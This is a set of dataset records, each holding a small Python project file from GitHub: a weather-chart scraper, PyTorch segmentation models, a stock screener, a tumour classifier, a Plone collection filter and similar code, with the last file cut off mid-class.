requests\nurl='https://www.meteoblue.com/en/weather/14-days'\nopt=Options()\nopt.add_argument(\"--headless\")\nopt.add_argument('--disable-gpu')\nweb=Chrome(options=opt)\nweb.get(url)\n# click accept cookie\nweb.find_element(By.XPATH,'//*[@id=\"gdpr_form\"]/div/input').click()\n# input the mountain you want to search\nname=input(\"input the mountain in pingyin,except shan character\\n\")\n# name='zhagana'\nprovince=input('input the region of the place in pingyin\\n')\n# province='gansu'\nismountain=input(\"is it a mountain(1 or 0)?\\n\")\nweb.find_element(By.XPATH,'//*[@id=\"gls\"]').send_keys(name)\nweb.find_element(By.XPATH,'//*[@id=\"gls\"]').click()\ntime.sleep(1)\n# get total page\npagelist=web.find_elements(By.XPATH,'//*[@id=\"locationform\"]/div/div[1]/span/span')\nif(len(pagelist)==0):\n num=1 \nelse:\n num=pagelist[-2].text\n# click how many nexts,at most read 4 pages and don't consider mountain with repeated name\nsteps=min(int(num),4)\nfor i in range(steps):\n # get all things on this page\n mountainlist=web.find_elements(By.XPATH,'//*[@id=\"locationform\"]/div/div[1]/table/tr[position()>1]')\n flag=False\n # remove header\n for mountain in mountainlist:\n element=mountain.find_element(By.XPATH,'./td[2]/div/div[1]') \n extratext=mountain.find_element(By.XPATH,'./td[2]/div/div[2]/span').get_attribute(\"class\") \n region=mountain.find_element(By.XPATH,'./td[3]').text.lower()\n if (extratext==\"mountain\" or int(ismountain)==0 )and (region=='' or region==province.lower()):\n # target found\n flag=True\n element.click()\n time.sleep(2)\n imgele=web.find_element(By.XPATH,'//*[@id=\"chart_download\"]')\n imgsrc=imgele.get_attribute('href')\n imgresp=requests.get(imgsrc)\n with open(name+'.jpg','wb') as f:\n f.write(imgresp.content)\n print(\"success!\")\n break\n # not found, go to next page\n if(flag):\n break\n if(i!=steps-1):\n pagelist[-1].click()\n time.sleep(2)\n pagelist=web.find_element(By.XPATH,'//*[@id=\"locationform\"]/div/div[1]/span/span')\n","repo_name":"tenacioustommy/Crawler","sub_path":"project/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"38735767149","text":"\n\nimport torch\nimport torch.nn as nn\n\nclass ConvFeedforward(nn.Module):\n def __init__(self,hidden_dim:int,dropout:float=0.1):\n super(ConvFeedforward, self).__init__()\n self.layers = nn.Sequential(\n nn.Conv2d(in_channels=hidden_dim,out_channels=hidden_dim*4,kernel_size=3,stride=1,padding=1),\n nn.ReLU(inplace=True),\n nn.Dropout(p=dropout),\n nn.Conv2d(in_channels=hidden_dim*4, out_channels=hidden_dim * 1, kernel_size=3, stride=1, padding=1),\n nn.Dropout(p=dropout)\n\n )\n\n def forward(self, x):\n out = self.layers(x)\n return out\n","repo_name":"coldsummerday/text-detect-recognition-hub","sub_path":"texthub/modules/backbones/rec_encoders/transformer/unit/feedforward/convfeedforward.py","file_name":"convfeedforward.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"50"} +{"seq_id":"28252899024","text":"import numpy as np\nimport matplotlib.pyplot as plt\nplt.style.use('ggplot')\nimport Utils\n\nUtils.downloadPlanetList()\nout = Utils.getPlanetData()\n\nidx = np.where((out['mplanet']>0.)&(out['teqplanet']>0.))[0]\nplt.plot(out['mplanet'][idx],out['teqplanet'][idx],'.')\nplt.xlabel(r'Planet mass ($M_J$)')\nplt.ylabel(r'Planet equilibrium temperature')\nplt.show()\n","repo_name":"nespinoza/GEP_plots","sub_path":"Mp_Teq.py","file_name":"Mp_Teq.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"6360584271","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sys, os\nfilepath = os.path.abspath(os.path.dirname(sys.argv[0]))\nsys.path.append(filepath)\n\nimport pandas as pd\nimport filters\nimport data_collector\n\n# Aggregation and Dataset Reduction\n\ndef metrics_aggregation(df, timeframe='MRT', eps_type='epsdil', roe_threshold=0.10):\n \"\"\"Returns dataframe aggregating all of the filtering and price targets.\n \"\"\"\n ## Add any additional filtering metrics here with any relevant\n # Answers objective: Postiive Year-Over-Year Earnings Per Share (EPS)\n df = filters.pos_yoy_eps(df, timeframe=timeframe, eps_type=eps_type)\n\n # Answers objective: Return on Equity > 10%\n df = filters.roe(df, threshold=roe_threshold)\n\n # Answers objective: Return on Assets Increased over Previous Year\n df = filters.pos_yoy_roa(df, timeframe=timeframe)\n\n # Answers objective: Price Target\n df = filters.pb_price_target(df)\n\n return df\n\n\ndef most_recent(fund_dict):\n \"\"\"Returns a dataframe of the most recent valuation data from each ticker in\n the dictionary passed through.\n \"\"\"\n\n print(\"Pulling most recent observations.\")\n\n data = []\n\n for k in fund_dict:\n fund_dict[k].sort_values('reportperiod',ascending=False,inplace=True)\n row = fund_dict[k].iloc[0]\n data.append(row)\n\n df = pd.DataFrame(data=data)\n\n return df\n\n\ndef filter_for_value_stocks(df):\n \"\"\" Returns dataframe of all symbols where all filter criteria have been\n determined to be True.\n \"\"\"\n print(\"Reducing dataset to available value stocks.\")\n\n cols = [col for col in df.columns if 'filter_' in col]\n df = df[df[cols].all(1)]\n if len(df) > 0:\n return df\n else:\n print(\"There are no value stocks available at this time.\")\n\n\ndef clean_output(df):\n\n ticker_info = data_collector.sp500_list_retrieval()\n\n df = pd.merge(df, ticker_info, left_on='ticker', right_on='Symbol', how='left', sort=False)\n df.sort_values(by='pb_pt_pct_below', ascending=False, inplace=True)\n\n df = df[['Symbol',\n 'Security',\n 'GICS Sector',\n 'Current_Price',\n 'pb_pt_pct_below',\n 'pb_pt',\n 'eps',\n 'roa',\n 'roe',\n 'assetturnover',\n 'de',\n 'divyield',\n 'pe'\n ]]\n\n df.rename(columns={'Current_Price' : 'Current Price',\n 'pb_pt_pct_below' : '% Below Price Target',\n 'pb_pt' : 'Price Target',\n 'eps' : 'EPS',\n 'roa' : 'ROA',\n 'roe' : 'ROE',\n 'assetturnover' : 'Asset Turnover',\n 'de' : 'Debt-to-Equity',\n 'divyield' : 'Dividend Yield',\n 'pe' : 'P/E'\n }, inplace=True)\n\n df['Current Price'] = df['Current Price'].apply(lambda x: (\"${:,.2f}\").format(x))\n df['Price Target'] = df['Price Target'].apply(lambda x: (\"${:,.2f}\").format(x))\n df['EPS'] = df['EPS'].apply(lambda x: (\"${:,.2f}\").format(x))\n df['ROA'] = df['ROA'].apply(lambda x: (\"{:,.2f}%\").format(x*100))\n df['ROE'] = df['ROE'].apply(lambda x: (\"{:,.2f}%\").format(x*100))\n df['Asset Turnover'] = df['Asset Turnover'].apply(lambda x: (\"{:,.2f}%\").format(x*100))\n df['Dividend Yield'] = df['Dividend Yield'].apply(lambda x: (\"{:,.2f}%\").format(x*100))\n df['% Below Price Target'] = df['% Below Price Target'].apply(lambda x: (\"{:,.2f}%\").format(x*100))\n\n return df","repo_name":"arbergmann/value_stock_screener","sub_path":"Value_Stock_Screener/source/aggregations.py","file_name":"aggregations.py","file_ext":"py","file_size_in_byte":3413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"23117498035","text":"\"\"\"Create Profession Controller Module\"\"\"\n\n\nfrom typing import Dict\nfrom src.interactor.use_cases.create_profession import CreateProfessionUseCase\nfrom src.infra.repositories.profession_in_memory_repository \\\n import ProfessionInMemoryRepository\nfrom src.interactor.dtos.create_profession_dtos import CreateProfessionInputDto\nfrom src.app.flask_memory.interfaces.flask_memory_controller_interface \\\n import FlaskMemoryControllerInterface\nfrom src.interactor.interfaces.logger.logger import LoggerInterface\nfrom src.app.flask_memory.presenters.create_profession_presenter import \\\n CreateProfessionPresenter\n\n\nclass CreateProfessionController(FlaskMemoryControllerInterface):\n \"\"\" Create Profession Controller Class\n \"\"\"\n def __init__(self, logger: LoggerInterface):\n self.logger = logger\n self.input_dto: CreateProfessionInputDto\n\n def get_profession_info(self, json_input) -> None:\n \"\"\" Get Profession Info\n :param json_input: Input data\n :raises: ValueError if profession name or description are missing.\n \"\"\"\n if \"name\" in json_input:\n name = json_input[\"name\"]\n else:\n raise ValueError(\"Missing Profession Name\")\n if \"description\" in json_input:\n description = json_input[\"description\"]\n else:\n raise ValueError(\"Missing Profession Description\")\n self.input_dto = CreateProfessionInputDto(name, description)\n\n def execute(self) -> Dict:\n \"\"\" Execute the create profession controller\n :returns: Profession created\n \"\"\"\n repository = ProfessionInMemoryRepository()\n presenter = CreateProfessionPresenter()\n use_case = CreateProfessionUseCase(presenter, repository, self.logger)\n result = use_case.execute(self.input_dto)\n return result\n","repo_name":"claudiosw/python-clean-architecture-example","sub_path":"src/app/flask_memory/controllers/create_profession_controller.py","file_name":"create_profession_controller.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"50"} +{"seq_id":"71446107675","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.nn.init as init\nimport torch.utils.model_zoo as model_zoo\nfrom torchvision import models\n\n\nclass Upsample(nn.Module):\n def __init__(self, inplanes, planes):\n super(Upsample, self).__init__()\n self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=5, padding=2)\n self.bn = nn.BatchNorm2d(planes)\n\n def forward(self, x, size):\n x = F.upsample_bilinear(x, size=size)\n x = self.conv1(x)\n x = self.bn(x)\n return x\n\n\nclass Fusion(nn.Module):\n def __init__(self, inplanes):\n super(Fusion, self).__init__()\n self.conv = nn.Conv2d(inplanes, inplanes, kernel_size=1)\n self.bn = nn.BatchNorm2d(inplanes)\n self.relu = nn.ReLU()\n\n def forward(self, x1, x2):\n out = self.bn(self.conv(x1)) + x2\n out = self.relu(out)\n\n return out\n\n\nclass FCN(nn.Module):\n def __init__(self, num_classes):\n super(FCN, self).__init__()\n\n self.num_classes = num_classes\n\n resnet = models.resnet101(pretrained=True)\n\n self.conv1 = resnet.conv1\n self.bn0 = resnet.bn1\n self.relu = resnet.relu\n self.maxpool = resnet.maxpool\n\n self.layer1 = resnet.layer1\n self.layer2 = resnet.layer2\n self.layer3 = resnet.layer3\n self.layer4 = resnet.layer4\n\n self.upsample1 = Upsample(2048, 1024)\n self.upsample2 = Upsample(1024, 512)\n self.upsample3 = Upsample(512, 64)\n self.upsample4 = Upsample(64, 64)\n self.upsample5 = Upsample(64, 32)\n\n self.fs1 = Fusion(1024)\n self.fs2 = Fusion(512)\n self.fs3 = Fusion(256)\n self.fs4 = Fusion(64)\n self.fs5 = Fusion(64)\n\n self.out0 = self._classifier(2048)\n self.out1 = self._classifier(1024)\n self.out2 = self._classifier(512)\n self.out_e = self._classifier(256)\n self.out3 = self._classifier(64)\n self.out4 = self._classifier(64)\n self.out5 = self._classifier(32)\n\n self.transformer = nn.Conv2d(256, 64, kernel_size=1)\n\n def _classifier(self, inplanes):\n if inplanes == 32:\n return nn.Sequential(\n nn.Conv2d(inplanes, self.num_classes, 1),\n nn.Conv2d(self.num_classes, self.num_classes,\n kernel_size=3, padding=1)\n )\n return nn.Sequential(\n nn.Conv2d(inplanes, inplanes/2, 3, padding=1, bias=False),\n nn.BatchNorm2d(inplanes/2),\n nn.ReLU(inplace=True),\n nn.Dropout(.1),\n nn.Conv2d(inplanes/2, self.num_classes, 1),\n )\n\n def forward(self, x):\n input = x\n x = self.conv1(x)\n x = self.bn0(x)\n x = self.relu(x)\n conv_x = x\n x = self.maxpool(x)\n pool_x = x\n\n fm1 = self.layer1(x)\n fm2 = self.layer2(fm1)\n fm3 = self.layer3(fm2)\n fm4 = self.layer4(fm3)\n\n out32 = self.out0(fm4)\n\n fsfm1 = self.fs1(fm3, self.upsample1(fm4, fm3.size()[2:]))\n out16 = self.out1(fsfm1)\n\n fsfm2 = self.fs2(fm2, self.upsample2(fsfm1, fm2.size()[2:]))\n out8 = self.out2(fsfm2)\n\n fsfm3 = self.fs4(pool_x, self.upsample3(fsfm2, pool_x.size()[2:]))\n # print(fsfm3.size())\n out4 = self.out3(fsfm3)\n\n fsfm4 = self.fs5(conv_x, self.upsample4(fsfm3, conv_x.size()[2:]))\n out2 = self.out4(fsfm4)\n\n fsfm5 = self.upsample5(fsfm4, input.size()[2:])\n out = self.out5(fsfm5)\n\n return out, out2, out4, out8, out16, out32\n","repo_name":"ycszen/pytorch-segmentation","sub_path":"upsample.py","file_name":"upsample.py","file_ext":"py","file_size_in_byte":3588,"program_lang":"python","lang":"en","doc_type":"code","stars":414,"dataset":"github-code","pt":"50"} +{"seq_id":"24037421655","text":"from locale import atoi\nimport re\nimport BuildHeaderString\nimport BuilderMatchingString\nimport BuildSubstituionString\nimport HandleFunctionsParameters\n\nregexHeader = r'.+?[^\\{\\d+],|[^,].+?$'\ntest_str = \"Número,Nome,Curso{1,2},,Notas{2}::media,,Genero\"\ndados = '3162,Cândido Faísca,Teatro,Musica,1,2,Masculino'\n\nparametrosNomeHeader = BuildHeaderString.buildHeader(regexHeader,test_str)\n\nparametrosMatchingRegex,numParams,allArrayHeaders = BuilderMatchingString.buildMatchingString(parametrosNomeHeader)\n\nparametrosSubstituion = BuildSubstituionString.buildSubstituionString(parametrosNomeHeader,numParams)\n\nprint(\"Header\",parametrosNomeHeader)\nprint(\"Regex Expression\",parametrosMatchingRegex)\nprint(\"Substition Expression\",parametrosSubstituion)\n\njsonEntry = re.sub(\n parametrosMatchingRegex,\n parametrosSubstituion,\n dados)\n\n#Remove from json Notas: [1,]\n#Transform into Notas: [1]\n# Isto só acontece quando o parametro é de tamanho variavel -> Notas{1,2}\njsonEntry= jsonEntry.replace(\",]\",\"]\")\n\n# Caso apareça Notas{5}::sum então esses parametros tem de ser tratados\njsonEntry = HandleFunctionsParameters.HandleFunctions(allArrayHeaders,jsonEntry)\n\nprint(\"Json ->\",jsonEntry)","repo_name":"andrepinto42/TP-Language-Processing","sub_path":"TP1/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"39078101933","text":"import pygame,os\nfrom pygame.locals import *\nSCREENRECT = Rect(0,0,640,480)\n\nclass Spritesheet:\n def __init__(self,filename):\n self.sheet=pygame.image.load(os.path.join('data',filename)).convert()\n def imgat(self,rect,colorkey=None):\n rect =Rect(Rect)\n image = pygame.Surface(rect.size).convert()\n image.blit(self.sheet,(0,0),rect)\n if colokey is not None:\n if colorkey is -1:\n colorkey = image.get_at((0,0))\n image.set_colorkey(colorkey,RLEACCEL)\n return image\n def imgsat(self,rects,colorkey = None):\n imgs = []\n for rect in rects:\n imgs.append(self.imgat(rect,colorkey))\n return imgs\n\nclass Arena:\n tileside = 31\n numxtiles =12\n numytiles =14\n topx = (SCREENRECT.width-SCREENRECT.width/tileside)/2\n topy = (SCREENRECT.height-SCREENRECT.height/tileside)/2\n rect = Rect(topx+tileside,topy+tileside,tileside*numxtiles,tileside*numytiles)\n def __init__(self):\n self.background = pygame.Surface(SCREENRECT.size).convert()\n\n\n \n\ndef main():\n pygame.init()\n screen = pygame.display.set_mode(SCREENRECT.size)\n\n Spritesheet = Spritesheet('1.jpg')\n\n background = pygame.Surface(SCREENRECT.size).convert()\n background.fill((0,0,255))\n screen.blit(background,(0,0))\n pygame.display.update()\n\n all=pygame.sprite.RenderUpdates()\n\n clock = pygame.time.Clock()\n\n while 1:\n for event in pygame.event.get():\n if (event.type == QUIT\n or (event.type == KEYDOWN and event.key == K_ESCAPE)):\n return\n all.clear(screen,background)\n all.update()\n dirty=all.draw(screen)\n pygame.display.update(dirty)\n clock.tick(30)\nif __name__ == '__main__':main()\n","repo_name":"Sirrie/112work","sub_path":"termProject_backup_copy/gamePart/paygame.py","file_name":"paygame.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"73502818","text":"import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.metrics import accuracy_score\r\nimport seaborn as sns\r\ntumorData = pd.read_csv(\"data.csv\")\r\n# clean up data\r\n\r\ntumorData = tumorData.dropna(axis = 1)\r\n\r\n# distribution of benign vs malignant \r\n\r\nsns.countplot(x = \"diagnosis\", data = tumorData)\r\nplt.show()\r\n\r\n# assign variables to x and y\r\ny = tumorData[\"diagnosis\"]\r\nx = tumorData.drop([\"diagnosis\", \"id\"], axis = 1)\r\n\r\n# correlation between variables\r\n\r\nplt.figure(figsize=(20,15))\r\nsns.heatmap(x.corr(), annot = True, cmap=\"coolwarm\")\r\nplt.show() \r\n\r\n# make model simpler by removing highly correlated variables (remove one of the two highly correlated variables) \r\n\r\nx = x.drop([\"area_mean\",\"radius_worst\",\"perimeter_worst\",\"area_worst\"], axis = 1)\r\n\r\n# graph of each variable\r\n\r\nfor i in x:\r\n sns.displot(tumorData, x=i, hue = \"diagnosis\", kind=\"kde\", multiple=\"stack\")\r\n plt.show()\r\n\r\n# transform M/B to 0/1 - switch from categorical to numerical\r\nle = LabelEncoder()\r\ny= le.fit_transform(y)\r\n\r\n# train and test \r\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.2, random_state= 10)\r\n\r\n# logistic regression\r\nlog = LogisticRegression(random_state = 0)\r\nlog_model = log.fit(x_train, y_train)\r\ny_pred = log.predict(x_test)\r\nprint('Logistic Regression:', log_model.score(x_test, y_test))\r\nprint('Logistic Predictions:', y_pred)\r\nprint('Actual Results', y_test)\r\n\r\n# SVC linear\r\n\r\nsvc_lin = SVC(kernel = 'linear', random_state = 0)\r\nsvc_lin_model = svc_lin.fit(x_train, y_train)\r\nprint('SVC Linear:', svc_lin_model.score(x_test, y_test))\r\n\r\n# SVC rbf\r\n\r\nsvc_rbf = SVC(kernel = 'rbf', random_state = 0)\r\nsvc_rbf_model = svc_rbf.fit(x_train, y_train)\r\nprint('SVC rbf:', svc_rbf_model.score(x_test, y_test))\r\n\r\n# decision tree\r\n\r\ntree = DecisionTreeClassifier(criterion = 'entropy', random_state = 0)\r\ntree_model = tree.fit(x_train, y_train)\r\nprint('Decision Tree:', tree_model.score(x_test, y_test))\r\n\r\n# random forest\r\n\r\nforest = RandomForestClassifier(n_estimators = 10, criterion = 'entropy', random_state = 0)\r\nforest_model = forest.fit(x_train, y_train)\r\nprint('Random Forest:', forest_model.score(x_test, y_test))\r\n","repo_name":"ColeKatz1/BreastCancerTumorPredictionModel","sub_path":"Tumor_Project.py","file_name":"Tumor_Project.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"36539524801","text":"# -*- coding: utf-8 -*-\nfrom DateTime import DateTime\nfrom Products.AdvancedQuery import Between\nfrom Products.AdvancedQuery import Generic\nfrom kombinat.behavior.collectionfilter.interfaces import ICollectionFilter\nfrom logging import getLogger\nfrom plone.app.contentlisting.interfaces import IContentListing\nfrom plone.app.contenttypes.browser.collection import CollectionView\nfrom plone.app.contenttypes.interfaces import ICollection\nfrom plone.app.event.base import RET_MODE_ACCESSORS\nfrom plone.app.event.base import _prepare_range\nfrom plone.app.event.base import expand_events\nfrom plone.app.event.base import start_end_query\nfrom plone.app.event.browser.event_listing import EventListing\nfrom plone.app.layout.navigation.root import getNavigationRoot\nfrom plone.app.querystring import queryparser\nfrom plone.batching import Batch\nfrom plone.dexterity.utils import safe_unicode\nfrom plone.dexterity.utils import safe_utf8\nfrom zope.component import adapter\nfrom zope.interface import implementer\nimport itertools\nimport pkg_resources\n\ntry:\n pkg_resources.get_distribution(\"collective.solr\")\nexcept pkg_resources.DistributionNotFound:\n HAS_SOLR = False\n\n def solrIsActive():\n return False\n\n\nelse:\n from collective.solr.utils import isActive as solrIsActive\n\n HAS_SOLR = True\n\nlogger = getLogger(__name__)\n\n\nclass CollectionFilterAdvancedQuery(object):\n def __init__(self):\n self.query = None\n\n def __iand__(self, val):\n if self.query is None:\n self.query = val\n else:\n self.query &= val\n return self\n\n def __ior__(self, val):\n if self.query is None:\n self.query = val\n else:\n self.query |= val\n return self\n\n def exclude(self, val):\n if self.query is None:\n self.query = ~val\n else:\n self.query = self.query & ~val\n\n\n@adapter(ICollection)\n@implementer(ICollectionFilter)\nclass CollectionFilter(object):\n\n ignored_keys = (\n u\"b_start\",\n u\"b_size\",\n u\"ajax_load\",\n u\"_authenticator\",\n u\"_filter_start\",\n u\"start\",\n u\"mode\",\n )\n force_AND = (u\"path\", u\"portal_type\")\n start_filter = \"_filter_start\"\n\n def __init__(self, context):\n self.context = context\n\n @property\n def default_values(self):\n dflt = self.context.default_filter_values\n if not dflt:\n return {}\n return dict([map(safe_unicode, l.split(\":\")) for l in dflt])\n\n @property\n def exclude_values(self):\n excl = self.context.exclude_filter_values or []\n excl_dict = {}\n for l in excl:\n k, v = l.split(\":\")\n v = self.safe_subject_encode(k, v)\n excl_dict[k] = \",\" in v and v.split(\",\") or v\n return excl_dict\n\n @property\n def parsed_query(self):\n return queryparser.parseFormquery(\n self.context,\n self.context.query,\n sort_on=getattr(self.context, \"sort_on\", None),\n )\n\n def filtered_result(self, **kwargs):\n if \"default_values\" in kwargs:\n fdata = kwargs.pop(\"default_values\")\n else:\n fdata = self.default_values\n\n pquery = kwargs.pop(\"pquery\", self.parsed_query)\n\n # Subject Index has to be utf8 encoded\n if \"Subject\" in pquery:\n subjects = pquery[\"Subject\"].get(\"query\", [])\n if not isinstance(subjects, list):\n subjects = list(subjects)\n pquery[\"Subject\"] = dict(query=[safe_utf8(s) for s in subjects])\n\n try:\n return self.filtered_query(\n pquery,\n fdata,\n kwargs.get(\"batch\", False),\n kwargs.get(\"b_size\", 100),\n kwargs.get(\"b_start\", 0),\n )\n except Exception as e:\n logger.warning(\n \"Could not apply filtered search: %s, %s %s\", e.args, fdata, pquery\n )\n\n def filtered_query(self, pquery, fdata, batch, b_size, b_start):\n if HAS_SOLR and solrIsActive():\n result = self.solr_query(pquery, fdata)\n else:\n result = self.advanced_query(pquery, fdata)\n listing = IContentListing(result)\n if batch:\n return Batch(listing, b_size, start=b_start)\n return listing\n\n def advanced_query(self, pquery, fdata):\n sort_key = pquery.pop(\"sort_on\", \"sortable_title\")\n sort_on = ((sort_key, self.context.sort_reversed and \"reverse\" or \"asc\"),)\n q = self.advanced_query_builder(fdata, pquery=pquery)\n logger.info(\"AdvancedQuery: %s (sorting: %s)\", q, sort_on)\n return self.context.portal_catalog.evalAdvancedQuery(q, sort_on)\n\n def solr_query(self, pquery, fdata):\n sort_key = pquery.pop(\"sort_on\", \"sortable_title\")\n q = self.solr_query_builder(fdata, pquery)\n q.update(\n {\n \"sort_on\": sort_key,\n \"sort_order\": self.context.sort_reversed and \"reverse\" or \"asc\",\n }\n )\n logger.debug(\"SOLR query: %s\", q)\n return self.context.portal_catalog.searchResults(q)\n\n def OR_exclude(self):\n allow_none = self.context.allow_empty_values_for or []\n return list(itertools.chain(self.ignored_keys, self.force_AND, allow_none))\n\n def get_request_data(self):\n request = self.context.REQUEST\n req_allowed = set([x[\"i\"] for x in self.context.query])\n # add special keys here\n req_allowed.add(self.start_filter)\n return dict([(k, v) for k, v in request.items() if k in req_allowed and v])\n\n def safe_subject_encode(self, k, v):\n return k == \"Subject\" and safe_utf8(v) or safe_unicode(v)\n\n def advanced_query_builder(self, fdata, pquery=None):\n \"\"\"\n FILTER QUERY\n the listing filter can contain arbitrary keyword indexes.\n special index is the 'portal_type' index, which is always AND\n concatenated... but (of course) only if defined in context.query\n\n 2 Scenarios:\n\n 1. search for kwx\n (kwx & kwx & ...) & portal_type\n\n 2. Empty filter or search for portal_type only (!):\n (kw1 & kw2 & kwx & ...) & portal_type\n \"\"\"\n _q = CollectionFilterAdvancedQuery()\n fdata.update(self.get_request_data())\n\n # AND concatenation of default (and unfiltered) fields\n for idx in [\n Generic(k, v[\"query\"])\n for k, v in pquery.items()\n if k not in self.ignored_keys and k not in fdata\n ]: # noqa\n if idx._idx == \"Subject\":\n idx._term = map(safe_utf8, idx._term)\n _q &= idx\n\n # AND concatenation of request values\n for idx in [\n Generic(k, self.safe_subject_encode(k, v))\n for k, v in fdata.items()\n if bool(v) and k not in self.ignored_keys\n ]: # noqa\n _q &= idx\n\n # special case for event listing filter\n if fdata.get(self.start_filter):\n st = DateTime(fdata.get(\"_filter_start\")).earliestTime()\n se = DateTime(fdata.get(\"_filter_start\")).latestTime()\n _q &= Between(\"start\", st, se)\n elif pquery.get(\"start\"):\n _q &= Generic(\"start\", pquery[\"start\"])\n\n if fdata.get(\"portal_type\") or pquery.get(\"portal_type\"):\n _q &= Generic(\n \"portal_type\", fdata.get(\"portal_type\") or pquery.get(\"portal_type\")\n )\n\n # respect INavigationRoot or ILanguageRootFolder or ISubsite\n _q &= Generic(\n \"path\",\n fdata.get(\"path\") or pquery.get(\"path\") or getNavigationRoot(self.context),\n )\n\n # add exclude values\n for name, value in self.exclude_values.items():\n _q.exclude(Generic(name, value))\n\n return _q.query\n\n def solr_query_builder(self, fdata, pquery):\n \"\"\" build query for solr search \"\"\"\n fdata.update(self.get_request_data())\n query = dict(\n [\n (k, self.safe_subject_encode(k, v))\n for k, v in fdata.items()\n if k not in self.ignored_keys\n ]\n )\n or_exclude = set(self.OR_exclude()).union(query.keys())\n or_q = dict(\n [(k, v.get(\"query\", v)) for k, v in pquery.items() if k not in or_exclude]\n )\n query.update(or_q)\n\n # special case for event listing filter\n if fdata.get(self.start_filter):\n st = DateTime(fdata[self.start_filter]).earliestTime()\n se = DateTime(fdata[self.start_filter]).latestTime()\n query.update({\"start\": {\"query\": [st, se], \"range\": \"minmax\"}})\n elif pquery.get(\"start\"):\n query.update({\"start\": pquery[\"start\"]})\n\n # portal type\n if fdata.get(\"portal_type\") or pquery.get(\"portal_type\"):\n query.update(\n {\"portal_type\": fdata.get(\"portal_type\") or pquery.get(\"portal_type\")}\n )\n\n # path\n query.update(\n {\n \"path\": fdata.get(\"path\")\n or pquery.get(\"path\")\n or getNavigationRoot(self.context)\n }\n )\n\n return query\n\n\nclass FilteredCollectionView(CollectionView):\n\n b_size = 100\n\n def results(self, **kwargs):\n \"\"\"Return a content listing based result set with results from the\n collection query.\n\n :param **kwargs: Any keyword argument, which can be used for catalog\n queries.\n :type **kwargs: keyword argument\n\n :returns: plone.app.contentlisting based result set.\n :rtype: ``plone.app.contentlisting.interfaces.IContentListing`` based\n sequence.\n \"\"\"\n # Extra filter\n contentFilter = dict(self.request.form.get(\"contentFilter\", {}))\n contentFilter.update(kwargs.get(\"contentFilter\", {}))\n kwargs.setdefault(\"custom_query\", contentFilter)\n kwargs.setdefault(\"batch\", True)\n kwargs.setdefault(\"b_size\", self.b_size)\n kwargs.setdefault(\"b_start\", self.b_start)\n default_values = kwargs.pop(\"default_values\", {})\n\n if bool(getattr(self.context, \"show_filter\", None)):\n fc_adapter = ICollectionFilter(self.context)\n filtered_result = fc_adapter.filtered_result(\n default_values=default_values, **kwargs\n )\n if filtered_result:\n return filtered_result\n\n # fallback to default\n return self.collection_behavior.results(**kwargs)\n\n\nclass FilteredEventListing(EventListing):\n def events(self, ret_mode=RET_MODE_ACCESSORS, expand=True, batch=True):\n res = []\n if self.is_collection:\n ctx = self.default_context\n # Whatever sorting is defined, we're overriding it.\n sort_on = \"start\"\n sort_order = None\n if self.mode in (\"past\", \"all\"):\n sort_order = \"reverse\"\n query = queryparser.parseFormquery(\n ctx, ctx.query, sort_on=sort_on, sort_order=sort_order\n )\n custom_query = self.request.get(\"contentFilter\", {})\n if \"start\" not in query or \"end\" not in query:\n # ... else don't show the navigation bar\n start, end = self._start_end\n start, end = _prepare_range(ctx, start, end)\n custom_query.update(start_end_query(start, end))\n # BAM ... inject our filter viewlet values\n fc_adapter = ICollectionFilter(ctx)\n res = fc_adapter.filtered_result(\n pquery=query, batch=False, custom_query=custom_query\n )\n if res is None:\n # ORIGINAL\n res = ctx.results(batch=False, brains=True, custom_query=custom_query)\n if expand:\n # get start and end values from the query to ensure limited\n # listing for occurrences\n _filter_start = self.request.get(\"_filter_start\")\n if _filter_start:\n # check for pickadate day filtering\n fs = DateTime(_filter_start).earliestTime()\n fe = DateTime(_filter_start).latestTime()\n start, end = self._expand_events_start_end(\n dict(query=[fs, fe], range=\"minmax\"), None\n )\n else:\n start, end = self._expand_events_start_end(\n query.get(\"start\") or custom_query.get(\"start\"),\n query.get(\"end\") or custom_query.get(\"end\"),\n )\n res = expand_events(\n res,\n ret_mode,\n start=start,\n end=end,\n sort=sort_on,\n sort_reverse=True if sort_order else False,\n )\n else:\n res = self._get_events(ret_mode, expand=expand)\n if batch:\n b_start = self.b_start\n b_size = self.b_size\n res = Batch(res, size=b_size, start=b_start, orphan=self.orphan)\n return res\n","repo_name":"kombinat/kombinat.behavior.collectionfilter","sub_path":"kombinat/behavior/collectionfilter/browser/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":13218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"2374789790","text":"from PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\nfrom mainDesign import Ui_CaptchaGame\nimport sys\nimport aes_functions as aes\nimport os\nimport requests\nimport datetime\nimport hashlib\n\n\nclass Main(QStackedWidget):\n\tdef 